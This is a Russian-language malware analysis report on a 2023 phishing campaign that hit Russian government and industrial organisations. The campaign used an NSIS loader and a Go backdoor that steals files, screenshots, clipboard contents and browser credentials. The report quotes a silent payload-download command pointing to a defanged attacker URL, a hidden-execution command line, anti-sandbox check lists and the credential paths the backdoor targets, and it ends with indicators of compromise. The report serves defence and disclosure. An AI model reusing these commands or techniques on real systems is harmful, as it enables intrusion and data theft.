Летом 2023 года в ходе исследования инцидента в одной из российских организаций мы обнаружили ряд вредоносных программ, нацеленных на кражу данных. Аналогичные программы, по данным Kaspersky Threat Intelligence, были найдены еще в нескольких государственных и индустриальных организациях РФ, поэтому мы можем предположить, что кража данных из организаций, работающих в данных секторах, была основной целью злоумышленников.
Мы провели тщательное исследование инцидента, проанализировали вредоносное ПО и хотим поделиться находками.
Цепочка заражения
Первым обнаруженным нами артефактом этой атаки был вредоносный файл finansovyy_kontrol_2023_180529.rar, который с 5 по 6 июня 2023 года распространялся в качестве почтового вложения.
Файл finansovyy_kontrol_2023_180529.rar представляет собой ARJ-архив, из которого извлекается файл finansovyy_kontrol_2023_180529.com — исполняемый файл архива Nullsoft. Его полезной нагрузкой являются документ-приманка в формате PDF и скрипт инсталляционной системы Nullsoft Scriptable Installation System (NSIS) — файл [NSIS].nsi.
Разбор вредоносного NSIS-скрипта
Строки в скрипте зашифрованы простыми бинарными операциями и представлены в виде шестнадцатеричных последовательностей.
После запуска скрипт [NSIS].nsi открывает легитимный подложный документ finansovyy_kontrol_2023_180529.pdf, чтобы отвлечь внимание жертвы.\
Далее скрипт расшифровывает строки и вызывает функцию get плагина INetC установщика Nullsoft, которая пытается загрузить в систему файл с вредоносного веб-ресурса hxxps://fas-gov-ru[.]com/?e&n=zr6tjbinjvef86.
Запуск команды происходит с использованием следующих параметров:
1 2 |
INetC::get /SILENT /USERAGENT "Mozilla/5.0" "hxxps://fas-gov-ru[.]com/?e&n=zr6tjbinjvef86" "C:\ProgramData\UsrRunVGA" |
В случае успешной загрузки вредоносного файла C:\ProgramData\UsrRunVGA скрипт копирует его в папку C:\ProgramData\Microsoft\DeviceSync\ и добавляет расширение .exe — UsrRunVGA.exe. Отметим, что в ходе первой фишинговой рассылки помимо UsrRunVGA распространялись еще два бэкдора с именами Netrunner и Dmcserv, которые отличались лишь сервером управления.
Далее скрипт запускает UsrRunVGA.exe со скрытым окном:
1 2 |
C:\Windows\System32\forfiles.exe " /P C:\Windows\System32 /M notepad.exe /C C:\ProgramData\Microsoft\DeviceSync\UsrRunVGA.exe |
Этот же файл записывается в автозапуск с помощью ярлыка .lnk по пути %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ StartUp\menu.lnk.
Анализ бэкдора UsrRunVGA.exe
Вредоносная программа написана на языке Go, а названия функций и переменных в ней обфусцированы. Однако нам удалось установить подключенные библиотеки, восстановить имена функций, а также выделить вредоносный код. Все строки в исследуемом образце зашифрованы простым XOR.
После запуска зловред проверяет доступ в интернет, пытаясь подключиться к сайтам различных зарубежных СМИ. Для этого он отправляет HTTP-запросы GET с URL-адресами вида https://domain?[A-Za-z]{20} до тех пор, пока все легитимные ресурсы не вернут в ответ HTTP-код 200:
Для подключения к веб-ресурсам бэкдор использует следующий User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.5.
После получения нужных ответов зловред обращается к управляющему серверу (в нашем случае это был tantsuyushchiykarlik[.]com) по протоколу HTTPS со следующим URL-адресом: hxxps://tantsuyushchiykarlik[.]com/?h=, снова ожидая HTTP-код 200 в ответ на свой запрос.
Далее бэкдор проверяет, не находится ли он в виртуальной среде или «песочнице» (anti-vm/anti-sandbox). Он использует библиотеку ghw — Go HardWare discovery/inspection library для сбора информации о конфигурации системы.
Ниже в таблице мы собрали используемые функции библиотеки и подстроки, которые зловред ищет в возвращаемой строке выполненной функции. Если хотя бы одна из этих подстрок будет найдена, то вредоносная программа выставляет специальный флаг, предотвращающий дальнейшее выполнение.
Проверяемые индикаторы нахождения в песочнице
Используемая функция библиотеки | Подстроки, которые бэкдор ищет в возвращаемой строке |
ghw.BIOS() | BOCHS, VBOX, VRTUAL, SeaBIOS, Xen |
ghw.Baseboard() | 1111-2222, Default string, Microsoft, Oracle, To be filled by |
ghw.Chassis() | Default string, QEMU, Microsoft, Oracle, Red Hat, RHEL |
ghw.Product() | 00000000, 11111111, 1111-2222, Microsoft, QEMU, VirtualBx, VMware, Xen |
Затем бэкдор сравнивает текущее имя пользователя и имя системы с жестко закодированным списком. Если проверка будет провалена, то зловред также завершит свою работу.
В заключение UsrRunVGA.exe проверяет наличие директорий и файлов, специфичных для виртуальных сред:
c:\analyzer.exe |
c:\Meterpreter |
c:\code.exe |
c:\program.exe |
c:\VMREMOTE |
c:\program files\fortinet |
c:\program files\meterpreter |
c:\program files\uvnc bvba |
C:\program files\CrowdStrike |
c:\program files (x86)\detonate.exe |
c:\run_task.bat |
c:\run_task.py |
c:\VMRunner |
Если все проверки успешно пройдены, то зловред переходит к выполнению основной полезной нагрузки.
С помощью функции ghw.Block() той же библиотеки ghw бэкдор получает информацию о модели и изготовителе системного диска зараженного ПК. Далее UsrRunVGA.exe удаляет все символы «.» и «_» из полученной строки и выполняет HTTP-запрос GET на управляющий сервер hxxps://tantsuyushchiykarlik[.]com/?r&z={disk_model}, где disk_model — информация о модели и изготовителе диска.
В ответ бэкдор ожидает от сервера управления одну из двух команд.
Команда | Описание команды |
list | Получить рекурсивно список файлов и папок в указанной директории |
file | Передать файл(ы) на сервер управления |
Если ответа от сервера управления не последовало, то бэкдор повторяет тот же HTTP-запрос GET каждые 10 секунд.
Также зловред имеет в своем арсенале еще несколько модулей, которые выполняются в отдельных потоках с определенной периодичностью.
Модули бэкдора
Задача модуля | Описание модуля |
Получение буфера обмена | Использует библиотеку atotto Clipboard for Go для получения содержимого буфера обмена с помощью функции clipboard.ReadAll(). |
Снятие снимков экрана | Использует библиотеку kbinani screenshot для снятия снимков экрана с помощью функции screenshot.GetDisplayBounds() и screenshot.CaptureRect(). |
Отправка файлов с заданными расширениями на сервер управления | Ищет файлы с заданными расширениями в директории C:\Users\{username}, а также на всех дисках системы кроме диска C:\ и передает их на сервер управления.
Для каждого диска системы и директории C:\Users\{username} создает по отдельному потоку для поиска файлов с расширениями .doc, .docx, .pdf, .xls, .xlsx, .ppt, .pptx, .zip, .rar, .7z, .odt, .ods, .kdbx, .ovpn, .pem, .crt, .key. |
Данные, которые бэкдор собирается отправить на сервер управления, шифруются алгоритмом AES и сохраняются по пути C:\Users\{username}\AppData\Local\Temp\[0-9]{10}\[A-Za-z]{10}.enc.
Во всех случаях шифрование файлов с расширением .enc осуществляется при помощи алгоритма AES256-GCM с ключом «bdieiq23nweih23qqq74ehq1bu082dhh«, который зашит в тело зловреда. Во всех проанализированных нами образцах ключ был одинаковый.
Использованный при шифровании вектор инициализации (nonce, IV) сохраняется для каждого файла .enc в первых 12 байтах этого файла:
1 2 |
0_________12____________________________________________________________filesize IV | ciphertext |
Зашифрованные данные записываются после вектора инициализации.
Отправка файла .enc на сервер управления происходит через POST-запрос по URL-адресу hxxps://tantsuyushchiykarlik[.]com/?s&z={disk_model}. В этом запросе также передаются две переменные в заголовках Content-Disposition:
1 2 |
Content-Disposition: form-data; name="file"; filename="{filename}" Content-Disposition: form-data; name="password",0Dh,0Ah,0Dh,0Ah,vxoijfq0394roaiseorw |
В тот же период, в который происходила рассматриваемая атака, злоумышленники провели еще одну фишинговую рассылку, содержащую вредоносные вложения с названием detali_dogovora_no_2023_000849.rar. Содержимое вредоносного архива при этом отличалось лишь названиями файлов NSIS-архива и бэкдора, а также зашитым в коде адресом C&C-сервера.
Вторая кампания
Новую версию описанного бэкдора мы заметили в середине августа того же года. Используемая цепочка заражения не изменилась, вредоносный скрипт-загрузчик также оказался идентичный. Однако есть и отличия: проверка доступа в интернет через обращение к легитимным веб-ресурсам убрана, зловред сразу же подключается к серверу управления. В исследуемом образце C&C располагается по адресу lunnayareka[.]com.
Увеличилось количество проверок среды, в которой выполняется бэкдор. Дополнительные проверки мы собрали в таблицы.
Проверяемые индикаторы нахождения в «песочнице»
Используемая функция библиотеки | Новые подстроки для проверки |
ghw.BIOS() | Google, KVM, Red Hat, RHEL |
ghw.Baseboard() | Google, KVM, Red Hat, RHEL |
ghw.Chassis() | Google, KVM |
ghw.Product() | Google, KVM, Red Hat, RHEL |
Проверяемые индикаторы нахождения в «песочнице»
Объект | Новые подстроки для проверки |
username | Anna, Frank, fred, Harry, Julia, Louise, Lucas, mike, Peter |
hostname | ACEPC, azure-PC, JULIA-PC, LOUISE-PC, LUCAS-PC, MARCI-PC, MIKE-PC, Phil-PC, RALPHS-PC, SERVER-PC, WILEYPC |
Файлы и папки, присутствие которых в системе проверяет бэкдор
c:\admin_Index.html |
c:\Cookies |
c:\History |
c:\Important.txt |
c:\Program Files\Anti-Trojan |
Первый запрос на сервер управления — теперь HTTP-запрос POST вида hxxps://lunnayareka[.]com/?z={disk_model}&h. В его теле бэкдор передает в формате JSON информацию о зараженной системе, собранную во время проверок anti-vm/anti-sandbox.
В новой версии добавлены инструменты для кражи паролей из браузера. С этой целью зловред проверяет наличие в системе браузеров.
Браузер | Путь до данных пользователя |
7Star | {{ .LocalAppData }}\7Star\7Star\User Data |
amigo | {{ .LocalAppData }}\Amigo\User Data |
blackHawk | {{ .AppData }}\NETGATE Technologies\BlackHawk |
brave | {{ .LocalAppData }}\BraveSoftware\Brave-Browser\User Data |
centbrowser | {{ .LocalAppData }}\CentBrowser\User Data |
chedot | {{ .LocalAppData }}\Chedot\User Data |
chrome canary | {{ .LocalAppData }}\Google\Chrome SxS\User Data |
chromium | {{ .LocalAppData }}\Chromium\User Data |
chromium edge | {{ .LocalAppData }}\Microsoft\Edge\User Data |
coccoc | {{ .LocalAppData }}\CocCoc\Browser\User Data |
comodo dragon | {{ .LocalAppData }}\Comodo\Dragon\User Data |
comodo IceDragon | {{ .AppData }}\Comodo\IceDragon |
cyberfox | {{ .AppData }}\8pecxstudios\Cyberfox |
elements browser | {{ .LocalAppData }}\Elements Browser\User Data |
epic privacy browser | {{ .LocalAppData }}\Epic Privacy Browser\User Data |
firefox | {{ .AppData }}\Mozilla\Firefox |
google chrome | {{ .LocalAppData }}\Google\Chrome\User Data |
icecat | {{ .AppData }}\Mozilla\icecat |
k-Meleon | {{ .AppData }}\K-Meleon |
kometa | {{ .LocalAppData }}\Kometa\User Data |
opera | {{ .AppData }}\Opera Software\Opera Stable |
orbitum | {{ .LocalAppData }}\Orbitum\User Data |
sputnik | {{ .LocalAppData }}\Sputnik\Sputnik\User Data |
thunderbird | {{ .AppData }}\Thunderbird |
torch | {{ .LocalAppData }}\Torch\User Data |
uran | {{ .LocalAppData }}\uCozMedia\Uran\User Data |
vivaldi | {{ .LocalAppData }}\Vivaldi\User Data |
yandex | {{ .LocalAppData }}\Yandex\YandexBrowser\User Data |
Найденные таким образом пользовательские данные зловред пытается украсть и отправить на управляющий сервер.
Есть изменения в методах шифрования, которые использует бэкдор. Так, содержимое команд list и file и их параметров, которые сервер управления передает бэкдору, теперь зашифровано алгоритмом RSA. Их расшифровка осуществляется с помощью вшитого в бэкдор приватного RSA-ключа. Кроме того, AES-ключ для шифрования файлов сменился на «gzlqjwrlv4qkx5lc2whjiyenhdpe9rzk».
Индикаторы компрометации
MD5
ARJ-архивы
finansovyy_kontrol_2023_180529.rar:
1ECF7DDE0F692E635688B181FE7AE8BB
678DBD5294150F0DEDD125EED41E7728
NSIS-файлы
finansovyy_kontrol_2023_180529.com:
24E5A0D1F0BC19D36AEE67A715B0B573
25EB1B4534A91524E6A293B459D71A19
44CFDAC04E1CB3E813BB8F0C3D695F56
509901D73FE39A5F46FDB2BFC9C7DE9F
51B6C1454FC79179C66CA4F949D201E9
67B388477CEDD7AAA1054FEFA4F20DB0
67E38A5BD8D14BA507124894FA988342
787EC689241C2B01954045879BE30ED2
9722E3E0DB3774EBDCEEF142D8143956
A383F9F87218897AE3FBCFA8F3617AA9
B5B796DB5331655B6C7F44F5DCFB60E7
E57E91EB891E4CB98FA16FC2E740B39D
EBAAEF4D739001F49A0E4D05A10284BF
FE3887C853846C7FD8BB7AA8F87D6A18
detali_dogovora_no_2023_000849.com
131CB8061A042FC13A640BF783030DED
2CD36BCC238B797C5DD224A6AA80CEF4
35B192D30A6E495D36C0EB0FDE06409E
45F824B00D2AD14181803AE5C63BEBD3
64865D6F2E8FE256D2A8DE6C97C3C661
88219B612564D0821F86C4F3DC1FF5F5
BAB4065F4E9F569F0658EA9E33459EF2
B994B476A45D76173F048CBB247013F4
B9F91E09B24F0D249147E5ECEC8ED6B8
Dogovor_No_0339_07_23.com:
45DE46B40E80CF37C8125A7DBFE60FAE
6CE34D82D23B6A73B54E957C9CBA7FC0
No_9537_23.com:
C842B05B4315CC6CA1B015812B31E3FB
F7664BF2E56403D1E235DC302BF807F1
C87BA9AFE2CB05F286F909EB4DB79726
9DA5E7C549B30F5F8507DC6AADB3CF9D
AF39FF63A49F170D70736D4E9C619012
PDF-файлы
finansovyy_kontrol_2023_180529.pdf:
E9253667A17F36BA12622F5170A59D40
detali_dogovora_no_2023_000849.pdf:
AB2F197A1ED2D418E9BB717AAA057CF2
Файлы бэкдора
UsrRunVGA:
5EE1E79B341510858D609B67648DA6BB
2E8A4A6D19CAC2653279DAB822D69BF5
Dmcserv:
16074C7518B2E5A3335CCF5AAA469470
Netrunner:
6086673A65B85B3463B551BA611EE6E6
VirtualDriveModule:
0777DFA3CA844FF59661C261C5B48BA6
UsrNetBrooker:
6B944C0E8C2D76A2DC2477C720E82F14
Вредоносные ссылки
fas-gov-ru[.]com
tantsuyushchiykarlik[.]com
skachanye-ru[.]com
mirvovsemire[.]com
vlozhenye24[.]com
megaworstqal[.]com
vlozhenye-ru[.]com
lunnayareka[.]com
fas-otdel-ru[.]com
beshenayasobaka[.]com
User-Agent
Mozilla/5.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.5
Пути и имена файлов
finansovyy_kontrol_2023_180529.com
detali_dogovora_no_2023_000849.com
C:\ProgramData\UsrRunVGA
C:\ProgramData\Dmcserv
C:\ProgramData\netrunner
C:\ProgramData\Microsoft\DeviceSync\UsrRunVGA.exe
C:\ProgramData\Microsoft\DeviceSync\Dmcserv.exe
C:\ProgramData\Microsoft\DeviceSync\netrunner.exe
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\menu.lnk
C:\Users\{username}\AppData\Local\Temp\homef.dat
C:\Users\{username}\AppData\Local\Temp\ds[A-Z]{1}.dat
C:\Users\{username}\AppData\Local\Temp\lg_[A-Za-z]{10}.dat
C:\Users\{username}\AppData\Local\Temp\[0-9]{10}\[A-Za-z]{10}.enc
C:\Users\{username}\AppData\Local\Temp\[0-9]{10}\[A-Za-z]{10}.txt
Dogovor_No_0339_07_23.com
No_9537_23.com
C:\ProgramData\VirtualDriveModule
C:\ProgramData\UsrNetBrooker
C:\ProgramData\Microsoft\DeviceSync\VirtualDriveModule.exe
C:\ProgramData\Microsoft\DeviceSync\UsrNetBrooker.exe
Вердикты
HEUR:Trojan.Win32.Vebzenpak.gen
Trojan.Win64.Agent.qwiigt
Trojan.Win64.Agent.qwiird
Backdoor.Win64.Agent.jtc
Backdoor.Win64.Agent.jtd
Тактики и техники MITRE ATT&CK
Тактика | Техника | ID техники |
Initial Access | Phishing: Spearphishing Attachment | T1566.001 |
Execution | Command and Scripting Interpreter: Windows Command Shell | T1059.003 |
Execution | User Execution: Malicious File | T1204.002 |
Persistence | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | T1547.001 |
Defense Evasion | Indirect Command Execution | T1202 |
Defense Evasion | Indicator Removal: File Deletion | T1070.004 |
Defense Evasion | Obfuscated Files or Information | T1027 |
Discovery | Account Discovery: Local Account | T1087.001 |
Discovery | File and Directory Discovery | T1083 |
Discovery | Software Discovery: Security Software Discovery | T1518.001 |
Discovery | System Information Discovery | T1082 |
Discovery | System Owner/User Discovery | T1033 |
Collection | Archive Collected Data: Archive via Library | T1560.002 |
Collection | Data from Local System | T1005 |
Command and Control | Application Layer Protocol: Web Protocols | T1071.001 |
Command and Control | Data Encoding: Standard Encoding | T1132.001 |
Command and Control | Encrypted Channel: Symmetric Cryptography | T1573.001 |
Атаки на индустриальный и государственный секторы РФ